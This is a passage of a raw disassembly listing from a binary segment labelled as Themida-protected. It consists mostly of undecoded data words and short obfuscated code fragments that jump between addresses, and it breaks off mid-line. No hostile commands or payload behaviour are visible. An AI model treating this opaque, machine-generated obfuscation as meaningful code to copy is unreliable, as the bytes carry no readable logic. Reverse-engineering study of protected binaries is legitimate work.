0C5h, 8Bh dd 0C4812404h, 4, 519E9h, 59CF0100h, 0E95FFA01h, 4D95h dd 8704C383h, 15C241Ch, 4EC81D8h, 89000000h, 58BD242Ch dd 29274729h, 2434FFE8h, 2B38E9h, 4ED8100h, 87000000h dd 895C242Ch, 0BE562414h, 17FE38A2h, 0BBEA08BAh, 258CE9F4h dd 0C6810000h, 1, 165EE681h, 0F6817B46h, 36C5B5FEh, 0FFE9D0E9h dd 81D1F7FFh, 4AC404E9h, 0E9CE21CAh, 0FFFFE195h, 915F02B9h dd 0E9D1F71Ah, 571Dh, 8B240C33h, 2CD32424h, 46E99C24h dd 5CFFFF97h, 9C240430h, 0FFB472E9h, 2474FFFFh, 48F5F04h dd 0A6E95C24h, 0FF000040h, 669D1C77h, 4116658h, 1EE99C24h db 97h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5881AB: ; CODE XREF: Themida_:0058462Fj pop ecx jmp loc_586946 ; --------------------------------------------------------------------------- db 8Bh, 4, 24h dd offset dword_52C4EC+5FDh db 0 ; --------------------------------------------------------------------------- loc_5881B9: ; CODE XREF: Themida_:00586F8Aj mov [esp], esp jmp loc_58BFF7 ; --------------------------------------------------------------------------- db 0FFh, 34h, 24h dd 4EC835Fh, 89240C89h, 4C181E1h, 81000000h, 4C1h, 240C8700h dd 66C3315Ch, 6800B60Fh, 713Ch, 89243489h, 47CDE9E6h, 0C2800000h dd 0C7B7E961h, 0FC35FFFFh, 0E9575925h, 0FFFF9BB3h, 5B32C781h dd 0F7011C92h, 5B32EF81h, 0C15E1C92h, 0EF8108E7h, 355E2773h dd 3988EB81h, 0FB014F20h, 3988C381h, 1CE94F20h db 0B0h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_58822F: ; CODE XREF: Themida_:0058956Ej dec edx shl edx, 8 not edx sub edx, 0B7C807Fh and ecx, edx mov edx, [esp] add esp, 4 shr ecx, 7 push dword ptr [edi+1Ch] push edi jmp loc_584A3C ; --------------------------------------------------------------------------- db 0F7h dd 97CB81D3h, 4B32825Fh, 0E903EBC1h, 455Ch, 26F9C581h dd 6C01D048h, 0E95D0424h, 0FFFFB58Eh, 0E9243489h, 12D9h dd 0D475F968h, 3DE95B7Bh db 6, 2 dup(0) ; --------------------------------------------------------------------------- loc_588283: ; CODE XREF: Themida_:0058224Cj add ebp, 4 add ebp, 4 xchg ebp, [esp] mov esp, [esp] jmp loc_58731A ; --------------------------------------------------------------------------- db 0FFh a4Wichql db '4$[W‰çhïL',0 dw 0E900h dd 4DA6h, 815FF989h, 0AA722BC1h, 72F1816Ch, 0E957D25Bh dd 0FFFFCF58h ; --------------------------------------------------------------------------- loc_5882BC: ; CODE XREF: Themida_:0058CFFAj mov ebp, [esp] jmp loc_582249 ; --------------------------------------------------------------------------- dd 240C8B66h, 42A16853h, 4EE90000h, 28FFFFC2h, 64E92434h dd 88FFFFB1h, 0E9D3F6EBh, 0FFFFF0C2h ; --------------------------------------------------------------------------- loc_5882E4: ; CODE XREF: Themida_:0058AF11j mov [esp], esi push 31E4h mov [esp], edi push ebx mov ebx, 727A6DF5h and ebx, 36A01607h xor ebx, 7467271Bh add ebx, 1E9112BEh mov edi, ebx pop ebx jmp loc_58C6DD ; --------------------------------------------------------------------------- db 0B9h dd 49016808h, 0E904EC83h, 0FFFFB383h, 0E9240489h, 0FFFF95A5h dd 405h, 4E88300h, 0FFF0BAE9h, 5BDA30FFh, 0E95AD300h, 26D7h ; --------------------------------------------------------------------------- loc_58833C: ; CODE XREF: Themida_:0058C09Bj xchg ebx, [esp] pop esp jmp loc_58B1EC ; --------------------------------------------------------------------------- db 0B1h, 0BBh, 80h dd 0C180A0E9h, 0CB5BE9EDh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_588352: ; CODE XREF: Themida_:005858C3j add ecx, 4 xchg ecx, [esp] pop esp jmp loc_58C769 ; --------------------------------------------------------------------------- dw 5351h dd 8835B151h, 5E2E9CBh, 89560000h, 4C681E6h, 83000000h dd 1DE904C6h, 5BFFFFE0h, 83242C8Bh, 0C18304C4h, 240C8702h dd 0D224248Bh, 0E99C240Ch, 0FFFFDA3Bh, 61D168h, 241C8900h dd 24BBh, 50FB0100h, 68h, 0D8015800h, 10081h, 0A2E90000h dd 5EFFFFF7h, 218ABF57h, 0CF810B27h, 7A612FA6h, 4495E9h dd 0E1816600h, 0C16648A4h, 0F76604E9h, 2A04E9D1h, 0D2F60000h dd 0E988C280h, 0FFFFDE83h, 8324048Bh, 0F28104C4h, 0B925B72h dd 958EE956h, 0CB81FFFFh, 5E0C4AB3h, 0C56EEB81h, 0B7E9DAFAh dd 5E000056h, 0DFFBEF81h, 21E97DFAh, 51FFFFE4h, 0FFFB11E9h dd 0E28952FFh, 4C281h, 0EC830000h, 241C8904h, 361968h dd 240C8900h, 0FFF6A8E9h, 2434FFFFh, 0E3895359h, 8904EC83h dd 18B9240Ch, 0E9311579h, 0FFFFB159h ; --------------------------------------------------------------------------- loc_58844C: ; CODE XREF: Themida_:00587944j add esi, eax jmp loc_58BCC9 ; --------------------------------------------------------------------------- db 33h dd 685C240Ch, 5723h, 42C8E9h db 0 ; --------------------------------------------------------------------------- loc_588461: ; CODE XREF: Themida_:00586947j mov ebp, 1D923297h xor edx, ebp pop ebp and edx, 35F036CEh jmp loc_586E65 ; --------------------------------------------------------------------------- dd 24048B66h, 242368h, 241C8900h, 8956E389h, 4C681E6h dd 83000000h, 20E904EEh, 54FFFFEFh, 4C3815Bh, 81000000h dd 2C3h, 0C403E900h, 34FFFFFFh, 5A16E924h, 0BE560000h dd 7A197373h, 0EAE9F221h, 68000059h, 231Dh, 53240C89h dd 1E84BE56h, 0F6815C27h, 0BF143D0h, 8106EEC1h, 0F42CBAE6h dd 0A4DAE936h, 0E6E9FFFFh, 5AFFFF93h, 3B3CC72Dh, 2434FF79h dd 3EE9515Eh, 89FFFFAAh, 4BF57E2h, 0E9000000h, 2834h, 0E924248Bh dd 482Dh, 53BFE781h, 0EF8139FEh, 19DA538Ch, 0E95FF901h dd 0FFFFDCF6h, 58E9D831h, 58FFFFF2h, 31242C33h, 2C33242Ch dd 24248B24h, 68E1F766h, 6A28h, 0E9243C89h, 0FFFFEA6Dh ; --------------------------------------------------------------------------- loc_588540: ; CODE XREF: Themida_:0058DB5Ej add dword ptr [esp], 4 pop ebp push 2D80h mov [esp], ecx mov ecx, 4 jmp loc_58B7F2 ; --------------------------------------------------------------------------- db 0C1h dd 0E7D106E7h, 3A04BA52h, 0D731BBA4h, 5FFB895Ah, 565BDD01h dd 4BEh, 0BCC8E900h, 0D501FFFFh, 5A1BB53h, 0DD013D48h dd 48C6E9h, 81E78900h, 4C7h, 4EF8100h, 87000000h, 0E7E9243Ch dd 68000054h, 1, 6824148Bh, 5A77h, 54240C89h, 0FFCD15E9h db 0FFh ; --------------------------------------------------------------------------- loc_5885B1: ; CODE XREF: Themida_:005879A3j inc eax sub esp, 4 mov [esp], edi mov edi, 0C63C9068h add eax, 45B73C9h jmp loc_584D3C ; --------------------------------------------------------------------------- dw 0C483h dd 0ACAEE904h, 8F64FFFFh, 92EFE902h, 9968FFFFh, 89000005h dd 4BA2414h, 81000000h, 0B422CAEBh, 95C3815Bh, 12B1B54h dd 95EB81D3h, 0E92B1B54h, 53C6h, 1FE9C201h, 8100004Eh dd 4ECh, 0F215E900h, 6853FFFFh, 7E41h, 0BF243C89h, 385A462Dh dd 5A4629BBh, 5FFB3138h, 0FFF79DE9h, 241C87FFh, 59CA015Ch dd 146BE9h, 6AF36800h, 14890000h, 46824h, 815A0000h, 0E3042444h dd 0E9493865h, 0FFFFD819h, 0ACE95B66h, 89FFFFDBh, 58542404h dd 758B6857h, 0C15F7137h, 0EF8102EFh, 1C4DDD5Eh, 555FF801h dd 0D2CEE950h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_58867A: ; CODE XREF: Themida_:005889DCj mov edi, 11784086h jmp loc_5888E8 ; --------------------------------------------------------------------------- loc_588684: ; CODE XREF: Themida_:0058DB7Dj pop edi xchg edi, edx not edi xchg edi, edx shr edx, 5 add edx, 0F8440163h jmp loc_5819F8 ; --------------------------------------------------------------------------- loc_588699: ; CODE XREF: Themida_:0058BFFBj mov esi, [esp] jmp loc_58674B ; --------------------------------------------------------------------------- db 54h, 5Bh, 57h dd 6208B8BFh, 0E9DFF746h, 0FFFFAED5h, 158C229h, 0F0315AD6h dd 5024348Bh, 0FFB123E9h, 240C87FFh, 9911E95Ch, 895CFFFFh dd 0E9532434h, 0FFFFAE21h, 0C281E289h, 4, 8704C283h, 835C2414h dd 3C8704EFh, 0E6B9E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5886EE: ; CODE XREF: Themida_:005889F0j mov [esp], ecx push edx mov dl, 0A7h jmp loc_586F32 ; --------------------------------------------------------------------------- db 68h, 4Eh, 20h dd 24890000h, 24048124h, 4, 8124048Bh, 4C4h, 3ABD5500h dd 816F8E0Bh, 82448FF5h, 0A7F58179h, 0E95EB123h, 148Ch ; --------------------------------------------------------------------------- loc_588728: ; CODE XREF: Themida_:00583A17j add ebx, 4 jmp loc_58DE7C ; --------------------------------------------------------------------------- aYsj db 'YéJ-',0 dd 24043300h, 33240431h, 665C2404h, 2404A30Fh, 917BE99Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_58874E: ; CODE XREF: Themida_:0058C0B5j mov esp, [esp] pop dword ptr [esp] mov esp, [esp] btc [esp], ax pushf jmp loc_5818C9 ; --------------------------------------------------------------------------- dw 4058h dd 5C419825h, 0C2E9E912h, 0C2B3FFFFh, 0F8E94E04h db 0D5h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_588777: ; CODE XREF: Themida_:005875A4j sub eax, 0E28CB640h or ebx, eax pop eax jmp loc_586B5B ; --------------------------------------------------------------------------- dd 3FB4B951h, 30E975AFh, 56FFFFE1h, 0F589FE89h, 42D5E95Eh dd 665C0000h, 52240C8Bh, 0BE565A54h, 0A201CB8h, 2E6C14Eh dd 1779E681h, 0E6C163C0h, 0FCEE8106h, 81200495h, 0B83667EAh dd 3DD5E91Eh, 0C3310000h, 4EC81h, 0C890000h, 0C0AFB524h dd 0F58002EDh, 0FFE82054h, 0C8B2434h, 4C48324h, 48B5450h dd 2794E924h, 0D8000000h, 2FBCE9h, 0FFFFBA00h, 0D329FFFFh dd 0E943435Ah, 0FFFFF0E2h, 0C681E689h, 4, 4C681h, 34870000h dd 0CEE95C24h, 0FF000050h, 34FF2434h, 0F8E95A24h, 81FFFFA3h dd 4C3h, 4685100h, 59000000h, 0C8BCB01h, 4C48324h, 0E9241C87h dd 0FFFF9C92h ; --------------------------------------------------------------------------- loc_588844: ; CODE XREF: Themida_:0058C90Cj mov edx, 4 add esi, edx pop edx add esi, 4 xchg esi, [esp] pop esp push esi mov esi, esp jmp loc_58CF5F ; --------------------------------------------------------------------------- db 42h dd 1195E9h, 6DC58100h, 5F344A50h, 2474FF55h, 48F5D04h dd 24248B24h, 24042166h, 904BE99Ch, 8B66FFFFh, 54512404h dd 592434FFh, 8304C483h, 1C8904ECh, 4BB24h, 0F2E90000h dd 59000028h, 0FF9B3EE9h, 5EF701FFh, 4EF81h, 3C870000h dd 4BE95C24h db 94h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5888B3: ; CODE XREF: Themida_:0058DE31j push esp jmp loc_586221 ; --------------------------------------------------------------------------- db 1, 0EAh, 0E9h dd 7D4h, 4EC81h, 3C890000h, 346BF24h, 0FB316AC5h, 5BD9895Fh dd 0FFDBB0E9h, 94B753FFh, 0A025E952h, 0E956FFFFh, 0FBEh ; --------------------------------------------------------------------------- loc_5888E8: ; CODE XREF: Themida_:0058867Fj xor ebp, edi pop edi xor ebp, 40829211h sub ebx, 5B855386h add ebx, ebp add ebx, 5B855386h pop ebp and eax, ebx pop ebx shr eax, 12h xor eax, ecx push eax sub esp, 4 mov [esp], ebx mov eax, [esp] add esp, 4 push dword ptr [esp] pop ebx add esp, 4 push 1FD0h mov [esp], ebx xchg ebx, [esp] jmp loc_581EF9 ; --------------------------------------------------------------------------- dw 0BF57h align 8 dd 0E9E9EF29h db 9Bh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_58893F: ; CODE XREF: Themida_:0058637Fj push ebx mov ebx, 7A321ACAh xchg esi, ebx jmp loc_5876A0 ; --------------------------------------------------------------------------- dd 0E9DBF659h, 0FFFFF700h, 6D3BC981h, 0F1814318h, 4C606E2Ah dd 8575E981h, 0CB29F666h, 7DE95659h, 66FFFFD5h, 52E930FFh dd 30FFFF8Fh, 0DC885AF3h, 0B2C3805Bh, 3DE9E328h, 87FFFFC5h dd 248B243Ch, 68F9F724h, 4ACCh, 0E9241489h, 0FFFFA19Ch dd 40CC68h, 241C8900h, 4BBh, 245C0100h, 96DAE904h, 0C889FFFFh dd 48452D59h, 0AC25732Fh, 0E9385C51h, 0FFFF9215h ; --------------------------------------------------------------------------- loc_5889C4: ; CODE XREF: Themida_:00588C62j push 0 sub [esp], ebx pop ebx push ebp mov ebp, 4D2F77E4h sub esp, 4 mov [esp], edi jmp loc_58867A ; --------------------------------------------------------------------------- loc_5889E1: ; CODE XREF: Themida_:0058B83Cj add ebp, 2 xchg ebp, [esp] pop esp push 3DCDh jmp loc_5886EE ; --------------------------------------------------------------------------- db 88h, 0D7h, 5Ah dd 5B66F828h, 0B850C330h, 22616A88h, 11C9E9h, 0B5CD8100h dd 0F769C020h, 0B3F581D5h, 0E989C262h, 0FFFFACDAh, 0CFD7E95Bh dd 4BFFFFFh, 0E9000000h, 0FFFFB3C2h, 329E95Dh, 0A3BF0000h dd 16B1512h, 243C8BFDh, 4C481h, 0EDC10000h, 51E5D102h dd 0B9h, 0B968E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_588A52: ; CODE XREF: Themida_:0058932Fj sub eax, 7C361E58h jmp loc_58BD60 ; --------------------------------------------------------------------------- dd 5C243C87h, 0A9FCE956h, 0D529FFFFh, 26BE9h, 14875F00h dd 0F468E924h, 7BB8FFFFh, 8906E407h, 24048BC2h, 6A6B68h dd 24048900h, 0FFCE1AE9h, 4C483FFh, 5204EA83h, 42474FFh dd 0C58E95Ah db 2 dup(0) ; --------------------------------------------------------------------------- loc_588A9E: ; CODE XREF: Themida_:00585832j push edi mov edi, esp add edi, 4 jmp loc_58B7A9 ; --------------------------------------------------------------------------- dd 4EC81h, 0C890000h, 208EB924h, 0CA095EADh, 3CC28159h dd 8155CE43h, 8BC03BEAh, 48152D5h, 0AD0CB224h, 24048B6Ch dd 4C481h, 0B22D0000h, 5A6CAD0Ch, 0FFF0C3E9h, 5A1EBFFFh dd 7CE91C39h db 91h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_588AEF: ; CODE XREF: Themida_:005896E3j pop esp jmp loc_58A1B5 ; --------------------------------------------------------------------------- db 81h, 0ECh, 4 dd 0E9000000h, 137Ah, 2434875Fh, 0CFF665Ch, 0BAE99C24h dd 56FFFF8Dh, 0FFC2EBE9h, 1C77FFFFh, 6659669Dh, 9C2414D3h dd 0FF8DA4E9h, 0C8966FFh, 0B60F6624h, 9C5166C8h, 0FF8D94E9h dd 4C481FFh, 68000000h, 72DAh, 81242C89h, 4ECh, 24048900h dd 3A5ED9B8h, 0BB534858h, 17812CAEh, 1C8BD829h, 4C48324h dd 0FFAD37E9h, 9C181FFh, 811D051Ah, 176985C1h, 9C47E949h dd 762DFFFFh, 29290761h, 76B951D8h, 0E9290761h, 0FFFFCB1Dh dd 2DBF5753h, 0BB2D735Bh, 0D28CA4D5h, 2E88C381h, 0FB016743h dd 0FF94D2E9h, 0C1DEF7FFh, 936805E6h, 89000028h, 4FF2434h dd 9E55E924h, 0C181FFFFh, 4, 0A62BD55h, 4D4D0FDBh, 0F5A4C581h dd 0C3E9F024h, 66FFFFC2h, 56240C8Bh, 89E9E689h db 2Ah, 2 dup(0) ; --------------------------------------------------------------------------- loc_588BDB: ; CODE XREF: Themida_:00587BFDj push 4EDh mov [esp], esi sub esp, 4 jmp loc_58A015 ; --------------------------------------------------------------------------- dw 0D9F7h dd offset dword_49005C+1DE8Dh db 0 ; --------------------------------------------------------------------------- loc_588BF5: ; CODE XREF: Themida_:0058CAA8j add esp, 4 and eax, ebp pop ebp or edx, eax shl edx, 1 push dword ptr [edi+24h] push 6B0Dh mov [esp], eax push ecx jmp loc_58D8B6 ; --------------------------------------------------------------------------- dd 23F26866h, 240C8966h, 341FB966h, 4E5E2D66h, 66C82966h dd 664E5E05h, 0B056659h, 0D801667Dh, 0FF914BE9h, 2434FFFFh dd 85E95359h db 0D6h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_588C3F: ; CODE XREF: Themida_:005877C3j add ebp, 4 xor ebp, [esp] xor [esp], ebp jmp loc_58DBA0 ; --------------------------------------------------------------------------- dd 4EC81h, 3CE90000h db 40h, 2 dup(0) ; --------------------------------------------------------------------------- loc_588C5B: ; CODE XREF: Themida_:005880E4j mov ebx, 39A34AE6h shr ebx, 1 jmp loc_5889C4 ; --------------------------------------------------------------------------- db 5Eh dd 139EF81h, 0E7C11DAFh, 0F892E904h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_588C76: ; CODE XREF: Themida_:00584DEFj mov esi, 13DF27C8h and esi, 6D3111EEh sub esi, 0FDE299D1h push ecx mov ecx, esi mov [edi+20h], ecx pop ecx pop esi shr dword ptr [edi+20h], 2 jmp loc_58203B ; --------------------------------------------------------------------------- dd 8158C201h, 2C2h, 78E86800h, 14890000h, 2474FF24h, 2434FF04h dd 4C4815Ah, 8F000000h, 248B2404h, 0BE0F6624h, 4EC83C8h dd 89240C89h, 4EE956E1h, 2800001Dh, 0E99C2404h, 0FFFF8BF1h dd 5DEA015Ah, 5204EA83h, 42474FFh, 8324148Bh, 0F1E904C4h dd 83FFFFD1h, 0C78304C4h, 7D4E902h, 50660000h, 8BC7E99Ch dd 1C87FFFFh, 0C335C24h, 0A381E924h, 0F329FFFFh, 181BC381h dd 348B09D7h, 4C48124h, 0E9000000h, 12BEh ; --------------------------------------------------------------------------- loc_588D24: ; CODE XREF: Themida_:00585E29j pop esi sub ebp, edx mov edx, [esp] jmp loc_585722 ; --------------------------------------------------------------------------- db 89h dd 8EE9241Ch, 8B000044h db 2 dup(24h) ; --------------------------------------------------------------------------- push ebp mov ebp, esp jmp loc_585E87 ; --------------------------------------------------------------------------- dw 0E5C1h dd 94F58102h, 81622A4Ah, 0FBE085EDh, 5DEA8954h, 65E9EA01h dd 1FFFFC5h, 0F58159CDh, 5AF25C8Ch, 0DFF7FD87h, 7ABE9h dd 81D2F700h, 9CB752F2h, 3696E9F1h, 1C8B0000h, 4C48324h dd 4C481h, 3EE90000h, 56FFFF8Bh, 0F789D689h, 77E95A5Eh dd 81000048h, 0E239FFC3h, 0C997E969h, 483FFFFh, 525F0424h dd 305F8FBAh, 0E2C14A67h, 44EA8106h, 811B9651h, 7E6DC8C2h dd 0DEBE94Fh db 2 dup(0) ; --------------------------------------------------------------------------- loc_588DC2: ; CODE XREF: Themida_:0058A92Aj mov [esp], esi push edi push 5E2E24DFh pop edi shl edi, 1 inc edi add edi, 308B235Fh add edi, 1318A2E2h jmp loc_58B48D ; --------------------------------------------------------------------------- dd 81242489h, 42404h, 3C8B0000h, 4C48124h, 68000000h, 0C2Ah dd 0BE243489h, 4, 348BF701h, 4C48324h, 0FFB97EE9h db 0FFh ; --------------------------------------------------------------------------- loc_588E0D: ; CODE XREF: Themida_:005853A9j pop edx shr ch, 7 sub esp, 4 mov [esp], eax mov al, 0BEh jmp loc_5858C8 ; --------------------------------------------------------------------------- dw 0C158h dd 8AE905E5h db 30h, 2 dup(0) ; --------------------------------------------------------------------------- loc_588E27: ; CODE XREF: Themida_:005874D1j pop edi add ebp, esi pop esi add ebp, 2 jmp loc_58B57B ; --------------------------------------------------------------------------- db 81h dd 945C07E9h, 494FE918h, 44010000h, 0EAE90424h, 87FFFFF1h dd 15C242Ch, 0EA50E9CEh, 34FFFFFFh, 0F1E95E24h, 81FFFFE1h dd 4C3h, 15BD5500h, 4D50037Bh, 0F581E5D1h, 84F2BF4h, 6B5DB951h dd 90E938A2h, 66FFFFD8h, 4CD7685Ah, 0C890000h, 0E430E924h dd 5166FFFFh, 0FFC62FE9h, 0E9F000FFh, 232Dh, 9668D831h dd 8900007Ch, 75E92434h, 59FFFFD0h, 0FFB86BE9h, 78E95BFFh dd 8F000001h, 895C2404h, 0A068243Ch, 5F5E24D1h, 2733AC2Dh dd 8E12D7Ch, 0F8017945h, 4508E105h, 0ACBB5379h, 0E97C2733h dd 80Ch, 47FCBA52h, 0B95153EAh, 7EA405E0h, 69BAE181h, 0E1812423h dd 7683687Eh, 0D65E181h, 3FE92805h, 81FFFFA7h, 278C59C5h dd 31B85099h, 0E9027232h, 13EBh, 2072F281h, 0ED81378Ah dd 3D4805A1h, 0FFF655E9h db 0FFh ; --------------------------------------------------------------------------- loc_588F21: ; CODE XREF: Themida_:00583848j mov ebx, 4372F47h not ebx xor ebx, 74D92E6Ah shr ebx, 6 and ebx, 643525A8h sub ebx, 0E8AA8A28h jmp loc_583BF8 ; --------------------------------------------------------------------------- dw 8953h dd 4C381E3h, 50000000h, 4B8h, 58C32900h, 2474FF53h, 48F5B04h dd 4895C24h, 0E9E08924h, 129Ch, 0E924048Bh, 0FFFFCDA1h dd 0FF8954E9h, 4B8FFh, 0C3010000h, 3A8FE958h, 6ABF0000h dd 811B540Fh, 0BC5CFACFh, 77CF8114h, 0D10C0757h, 27C781E7h dd 9F78599h, 0A788E9FAh, 0E95CFFFFh, 0FFFFA3BDh, 28976855h dd 24890000h, 3BC8E924h, 0C4810000h, 4, 4C481h, 0E95A0000h dd 0FFFFF516h, 4399E958h, 0DE890000h, 5EF1295Bh, 62E9E929h dd 8FFFFF92h, 0F3E92404h, 54000017h, 4C3815Bh, 57000000h dd 0B71B5CBFh, 79C78123h, 5619396Eh, 0FA57EFBEh, 0E9F70965h dd 0FFFFF403h, 5C243C87h, 0CE3080B6h, 81240C8Bh, 4C4h dd 0E70400h, 8BE72CF0h, 0C4812414h, 4, 44E95152h, 81000014h dd 4C3h, 4B95100h, 0E9000000h, 0FFFFB8F1h, 66BD5550h, 5141FC35h dd 0D229AAB9h, 4ACB685Dh, 14890000h, 62FABA24h, 0E2813B20h dd 27691D00h, 11D9F281h, 98E953F4h, 5F00002Dh, 0EA81F201h dd 3AD90F4Eh, 0FFA8D3E9h, 0C7835DFFh, 243C8704h, 0FFD29AE9h dd 89595DFFh, 34FF205Fh, 0B757E924h, 0E958FFFFh, 0FFFFDB22h dd 77A8EA81h, 0B4E900C6h, 55FFFFCAh, 1F69E9h db 0 ; --------------------------------------------------------------------------- loc_5890A5: ; CODE XREF: Themida_:00589B40j mov [esp], ebp mov ebp, 303C56FDh add [esp+0Ch], ebp pop ebp mov esi, [esp] add esp, 4 add [esp+4], eax sub dword ptr [esp+4], 0DED4D47h pop eax jmp loc_58A3E6 ; --------------------------------------------------------------------------- db 0E9h, 0F7h, 87h dd 0E381FFFFh, 3A2D1A6Ch, 1A5CEB81h, 0DE011808h, 2434875Bh dd 17E6E9h, 81E78900h, 4C7h, 4EC8300h, 0BA241489h, 4ACE6AB3h dd 0E43EE956h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_589102: ; CODE XREF: Themida_:0058B0CEj mov esi, 0CC113624h xor edi, esi pop esi mov ebp, edi mov edi, [esp] add esp, 4 jmp loc_589A3B ; --------------------------------------------------------------------------- dw 8B66h dd 0AB682404h, 89000012h, 0E0892404h, 8904EC83h, 35E9240Ch dd 59FFFFF0h, 815A5452h, 4C2h, 4C28100h, 87000000h, 248B2414h dd 0E9008F24h, 0FFFF8779h, 5224248Bh, 4EC81h, 24890000h dd 24048324h, 0E4D9E904h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_589166: ; CODE XREF: Themida_:00584C1Ej xor esi, [esp] mov esp, [esp] jmp loc_58CFF2 ; --------------------------------------------------------------------------- loc_589171: ; CODE XREF: Themida_:00586B5Cj mov esi, 40092011h add ebx, esi jmp loc_58B78C ; --------------------------------------------------------------------------- loc_58917D: ; CODE XREF: Themida_:005845D6j sub ch, al jmp loc_58BAC8 ; --------------------------------------------------------------------------- dd 24148B66h, 2C483h, 32ECE9F0h, 0A7BA0000h, 295A2634h dd 24148BD3h, 0FFDEEDE9h, 5F801FFh, 2C5D4903h, 5F2434FFh dd 81E38953h, 4C3h, 4C38300h, 8B241C87h, 18682424h, 89000075h dd 0BF572414h, 2B623BDEh, 242C8157h, 74C638Ah, 8AC2815Ah dd 0FF074C63h, 52E92434h, 100002Bh, 5A042454h, 4C3815Bh dd 83000000h, 2C8904ECh, 277BD24h, 75E947ABh, 8100001Fh dd 1539F9EDh, 8BE80192h, 0CC68242Ch, 8900003Dh, 0E789243Ch dd 4C781h, 0EE90000h, 55FFFFDFh, 0D50AEABDh, 0E6ED8159h dd 8159D50Ah, 636A1DEEh, 41B2E97Ch, 66590000h, 356D6850h dd 14890000h, 0AE10E924h, 0BD55FFFFh, 40B9286Ch, 62C1ED81h dd 0ED812DB0h, 7B635888h, 31E9h, 40500h, 0C0830000h, 4EC8102h dd 89000000h, 74FF2404h, 8F580424h, 665C2404h, 661DD868h dd 51241489h, 2F5CE9h, 31CA3100h, 7C0E9D1h, 0CD810000h dd 0AA46AC1h, 652AF581h, 0F5813D7Bh, 606481A8h, 895DE831h dd 24048BC3h, 8104C483h, 0B4291C2h, 0D866E97Ah, 0ED80FFFFh dd 59E8004Fh, 3EF3E9h, 4BB00h, 0DE010000h, 8B2434FFh, 0C483241Ch dd 4C48304h, 8704C683h, 248B2434h, 0AE8C124h, 8391C831h dd 0C8904ECh, 243C8724h, 0FF57D7F7h, 8B042474h, 0C483243Ch dd 24048F04h, 81240C8Bh, 4C4h, 0AD685000h, 0E900003Bh dd 2919h, 0F643B753h, 2EEF80DFh, 5BFD28h, 0B60F59EBh, 0B86866C0h dd 17FAE97Ah db 2 dup(0) ; --------------------------------------------------------------------------- loc_58932A: ; CODE XREF: Themida_:005830A8j sub eax, 0BD26722h jmp loc_588A52 ; --------------------------------------------------------------------------- dd 158C629h, 24348BF0h, 8704C483h, 248B2404h, 48B6624h dd 7C8A6824h, 0CEE90000h, 55FFFF94h, 242C8B54h, 1033E9h dd 8BC80100h, 3AE9240Ch, 52000023h, 75F78CBAh, 0E9D629DEh dd 2BC3h, 81242C8Bh, 4C4h, 243C8700h, 0F949E95Ch, 3489FFFFh dd 47EABE24h, 0ED814399h, 6AC826A6h, 4687ED81h, 0F5294184h dd 7CCBB850h, 922572C9h, 0C1595B7Fh, 0E94802E8h, 0FFFFCC57h ; --------------------------------------------------------------------------- loc_5893B0: ; CODE XREF: Themida_:00583C48j push ecx mov ecx, 4 add [esp+4], ecx pop ecx push dword ptr [esp] pop edx push ebp mov ebp, esp add ebp, 4 add ebp, 4 jmp loc_58508B ; --------------------------------------------------------------------------- dd 5159CF01h, 0BA98E957h, 34FFFFFFh, 2434FF24h, 8EE95558h dd 0F7FFFFABh, 0E99C241Ch, 0FFFFC222h, 0BCF68h, 243C8900h dd 0FFF635E9h, 0B151ACFFh, 0FFC1804Ch, 3B1BE9h, 4EC8300h dd 0BE243489h, 2DAB1B79h, 4247401h, 0FFC9B7E9h, 55E289FFh dd 2BE95653h, 81FFFF9Bh, 0F77F34C2h, 14875B01h, 4CE95C24h dd 1FFFFB0h, 3EBB53F0h, 2D6CB87Ch, 11576F49h, 2E9D829h dd 88FFFFA1h, 58C588F0h, 0FF8B5BE9h, 0D90158FFh, 4511E981h dd 4EE926C9h, 81FFFFC1h, 4EEh, 0DC4EE900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_58946E: ; CODE XREF: Themida_:00582323j add ebp, edx pop edx push 41A4h mov [esp], edx mov edx, 27242AD2h jmp loc_581E12 ; --------------------------------------------------------------------------- db 87h dd 665C2414h, 9C240409h, 0FF8438E9h, 0C8B66FFh, 4EC8124h dd 89000000h, 8368243Ch, 5400001Bh, 8124048Fh, 42404h dd 565F0000h, 4BA52h, 0D6890000h, 11C7815Ah, 116093Bh dd 0C4CAE9F7h, 0FF66FFFFh, 83FBE932h, 0FF57FFFFh, 5F042474h dd 8B24048Fh, 8B662424h, 4BE92404h, 0E9FFFFD1h, 0FFFF83E1h ; --------------------------------------------------------------------------- loc_5894E8: ; CODE XREF: Themida_:0058A0E9j add ebp, 4 jmp loc_587E93 ; --------------------------------------------------------------------------- dd 6602EC83h, 66240489h, 83BD6655h, 0E8896645h, 81665D66h dd 665BF6EBh, 8166C329h, 665BF6C3h, 0E924048Bh, 0FFFFABFBh dd 8145FD87h, 0C2DF29F5h, 5DEA318Ch, 0FFA854E9h db 0FFh ; --------------------------------------------------------------------------- loc_589529: ; CODE XREF: Themida_:00585E99j xor ebp, [esp] jmp loc_58B069 ; --------------------------------------------------------------------------- db 81h, 0F5h, 57h dd 1284940h, 9077E9EBh, 0EE81FFFFh, 22E06188h, 0EBE9D601h dd 0ADFFFFCFh, 0FFC54DE9h, 1E7468FFh, 0F75E2893h, 0FFEE83DEh dd 0FF84F3E9h, 0E9DAF7FFh, 0FFFFF9A8h ; --------------------------------------------------------------------------- loc_589568: ; CODE XREF: Themida_:0058A8F6j pop esp not edx shl edx, 3 jmp loc_58822F ; --------------------------------------------------------------------------- db 1 dd 0C68159CEh, 2, 5C243487h, 9C2404D3h, 0FFFB44E9h, 2E0C0FFh dd 0B353D0F6h, 5BD82801h, 0FF9579E9h, 0E95CFFh, 0FFFFFE8h dd 6E9C0B6h, 5A000025h, 65DABE56h, 0EA812815h, 50385E85h dd 0FFE614E9h, 